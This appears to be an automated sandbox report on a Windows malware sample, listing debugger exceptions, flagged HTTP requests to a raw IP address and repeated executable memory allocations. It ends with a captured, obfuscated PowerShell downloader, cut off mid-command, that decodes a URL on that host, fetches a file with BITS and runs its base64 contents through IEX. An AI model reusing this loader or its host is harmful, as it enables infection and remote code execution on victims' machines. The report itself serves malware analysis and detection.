registers.ecx: 1216
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 5d 64 73 6b 98 d5 47 c6 79 22 85 96 37 98 8d
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8e0e
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 102105104
registers.ebp: 97969484
registers.edx: 1972014531
registers.ebx: 1948084527
registers.esi: 4931072
registers.ecx: 1216
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7d 10 59 e4 06 34 f9 84 7a 01 92 f4 14 36 6e 71
exception.instruction: jge 0x6af8e6f
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8e5d
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 256
registers.esi: 97969472
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 42 af c1 12 99 c9 6e 88 37 85 fb e6 be f6 1a
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8e7f
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 4931072
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 3f 41 36 70 d2 35 0e ca cc 82 63 4e 00 5f 81
exception.instruction: mov dword ptr [edi], edi
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af8ea9
registers.esp: 97969480
registers.edi: 0
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 3461403493
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 47 01 33 70 4f 12 ea 56 cc 41 e4 c9 3b 87 8c
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8ec4
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 4096
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 41 e4 c9 3b 87 8c 92 44 cb d0 d3 b4 c9 8b b5
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af8ecd
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 4096
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7a 03 5e 9f f0 39 47 9e e6 9b 92 c7 ad 8e c3 9e
exception.instruction: jp 0x6af8f01
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8efc
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 97969468
registers.ebx: 256
registers.esi: 4931072
registers.ecx: 526
1 0 0

__exception__

stacktrace:
gapfnScSendMessage-0x15fc8 user32+0x0 @ 0x755e0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 78 03 49 64 5d 00 84 fc 5a 66 39 c8 5f e8 cf ab
exception.instruction: js 0x6af8f47
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8f42
registers.esp: 97969472
registers.edi: 256
registers.eax: 1969552670
registers.ebp: 97969484
registers.edx: 97969468
registers.ebx: 856306457
registers.esi: 4931072
registers.ecx: 526
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7b 06 5e 84 2b 7c 89 24 76 66 56 d3 14 ad 0b 5b
exception.instruction: jnp 0x6af8f75
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8f6d
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 256
registers.ebp: 97969484
registers.edx: 97969472
registers.ebx: 856306457
registers.esi: 4931072
registers.ecx: 526
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 16 41 93 e8 fa 58 53 9b 42 53 13 77 00 5e 57
exception.instruction: mov dword ptr [esi], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af8f9c
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 102432768
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 0
registers.ecx: 526
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7f 07 5d 9e e6 b3 df da 2e e0 04 1b ec 3c 60 fc
exception.instruction: jg 0x6af8fd0
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af8fc7
registers.esp: 97969476
registers.edi: 256
registers.eax: 102432768
registers.ebp: 97969484
registers.edx: 1969179384
registers.ebx: 856306457
registers.esi: 97969472
registers.ecx: 526
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7f 0d 59 a7 bd 87 5f ba 7b 63 75 ec 55 d6 83 5f
exception.instruction: jg 0x6af901e
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af900f
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 256
registers.ebp: 97969484
registers.edx: 2005656993
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 97969472
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 10 49 f9 16 00 58 52 ba 0c 22 88 fd 81 f2 1c
exception.instruction: mov dword ptr [eax], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af903c
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 0
registers.ebp: 97969484
registers.edx: 2005656993
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7e 02 49 fa c4 00 66 85 c8 59 80 fb 36 5a 89 95
exception.instruction: jle 0x6af9069
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af9065
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 2005662664
registers.ebp: 97969484
registers.edx: 256
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 97969472
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 5e 78 c9 ad 84 bf 60 2d 1e 6b 9c 2b 72 88 2b
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af9079
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 2005662664
registers.ebp: 97969484
registers.edx: 2005656993
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 77 05 41 22 30 9a e2 9c 39 ef af c6 ac 00 f6 c7
exception.instruction: ja 0x6af90bd
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af90b6
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 97969472
registers.ebp: 97969484
registers.edx: 256
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 18 5b a6 33 65 f1 70 45 d8 a3 b5 f2 77 89 05
exception.instruction: mov dword ptr [eax], ebx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af90dc
registers.esp: 97969480
registers.edi: 112167545
registers.eax: 0
registers.ebp: 97969484
registers.edx: 33380430
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: cc 43 78 5b 10 93 1b 56 66 75 aa 1b 52 53 bb 25
exception.instruction: int3
exception.exception_code: 0x80000003
exception.symbol:
exception.address: 0x6af90f7
registers.esp: 97969484
registers.edi: 112167545
registers.eax: 2005662664
registers.ebp: 97969484
registers.edx: 0
registers.ebx: 2222988128
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 89 13 47 44 9e 7c 8d 00 5b 8b 95 2f 02 00 00 56
exception.instruction: mov dword ptr [ebx], edx
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x6af9122
registers.esp: 97969476
registers.edi: 112167545
registers.eax: 2005662664
registers.ebp: 97969484
registers.edx: 0
registers.ebx: 0
registers.esi: 4931072
registers.ecx: 1688
1 0 0

__exception__

stacktrace:
DbgUserBreakPoint-0x10008 ntdll+0x0 @ 0x778a0000
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa

exception.instruction_r: 7f 04 47 e4 0e ff fd 00 90 58 85 c9 5e 68 4f 30
exception.instruction: jg 0x6af9152
exception.exception_code: 0x80000004
exception.symbol:
exception.address: 0x6af914c
registers.esp: 97969472
registers.edi: 112167545
registers.eax: 97969468
registers.ebp: 97969484
registers.edx: 2005656993
registers.ebx: 2222988128
registers.esi: 256
registers.ecx: 1688
1 0 0
suspicious_features Connection to IP address suspicious_request HEAD http://194.180.48.211/ryan/Anlae.xsn
suspicious_features Connection to IP address suspicious_request GET http://194.180.48.211/ryan/Anlae.xsn
request HEAD http://194.180.48.211/ryan/Anlae.xsn
request GET http://194.180.48.211/ryan/Anlae.xsn
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02630000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02790000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72fd2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02492000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02791000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02792000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0249b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02760000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024a6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024c9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049f9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049fa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049fd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049fe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x049ff000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a41000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2936
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04a44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell.exe "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u 